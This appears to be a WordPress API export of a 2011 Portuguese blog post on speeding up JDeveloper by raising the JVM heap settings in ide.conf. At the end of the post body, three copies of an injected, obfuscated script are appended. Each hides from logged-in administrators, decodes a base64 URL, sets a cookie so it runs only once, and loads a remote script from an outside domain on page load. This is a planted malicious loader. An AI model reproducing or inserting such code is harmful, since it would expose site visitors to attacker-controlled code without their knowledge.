{"id":1731,"date":"2011-08-15T12:16:24","date_gmt":"2011-08-15T15:16:24","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=1731"},"modified":"2025-10-26T22:39:21","modified_gmt":"2025-10-27T01:39:21","slug":"otimizando-o-jdeveloper","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2011\/08\/15\/otimizando-o-jdeveloper\/","title":{"rendered":"Otimizando o JDeveloper"},"content":{"rendered":"<p style=\"text-align: justify;\">Estou utilizando a vers\u00e3o 11.1.1.5.0 generic no Linux, mas para outras plataformas as configura\u00e7\u00f5es s\u00e3o similares. O arquivo principal de configura\u00e7\u00e3o (jdev.conf) do JDeveloper est\u00e1 localizados na pasta $MW_HOME\/jdeveloper\/jdev\/bin.<\/p>\n<p style=\"text-align: justify;\">A primeira linha desse arquivo indica onde temos outras configura\u00e7\u00f5es: IncludeConfFile ..\/..\/ide\/bin\/ide.conf. O primeiro passo \u00e9 abrir esse arquivo (ide.conf) e alterar os parametros Xmx e Xms. O par\u00e2metro Xms \u00e9 referente \u00e0 quantidade de mem\u00f3ria heap inicial a ser utilizada e o Xmx \u00e9 a quantidade m\u00e1xima. Minha m\u00e1quina possui 8GB de RAM. Para o meu JDeveloper, 2GB de m\u00e1ximo e 1GB de m\u00ednimo \u00e9 suficiente. O recomendado \u00e9 1\/4 do total de mem\u00f3ria que a m\u00e1quina possua, mas voc\u00ea deve levar em considera\u00e7\u00e3o que poder\u00e1 subir outros servidores e outras aplica\u00e7\u00f5es que ir\u00e3o consumir mem\u00f3ria. Ent\u00e3o aumentar muito esse valor, pode fazer com que a sua m\u00e1quina utilize swap e, ao inv\u00e9s de deixar o JDeveloper mais r\u00e1pido, sua m\u00e1quina ir\u00e1 acabar ficando mais lenta. Ent\u00e3o eu alterei minha m\u00e1quina para os seguintes valores: \"AddVMOption\u00a0 -Xmx2048M\" e \"AddVMOption\u00a0 -Xms1024M\".<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Estou utilizando a vers\u00e3o 11.1.1.5.0 generic no Linux, mas para outras plataformas as configura\u00e7\u00f5es s\u00e3o similares. O arquivo principal de configura\u00e7\u00e3o (jdev.conf) do JDeveloper est\u00e1 localizados na pasta $MW_HOME\/jdeveloper\/jdev\/bin. A primeira linha desse arquivo indica onde temos outras configura\u00e7\u00f5es: IncludeConfFile <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2011\/08\/15\/otimizando-o-jdeveloper\/\">Continue lendo  <span class=\"screen-reader-text\">  Otimizando o JDeveloper<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,8,64,9],"tags":[],"class_list":["post-1731","post","type-post","status-publish","format-standard","hentry","category-java","category-jdeveloper","category-linux","category-oracle"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1731","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=1731"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1731\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=1731"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=1731"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=1731"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}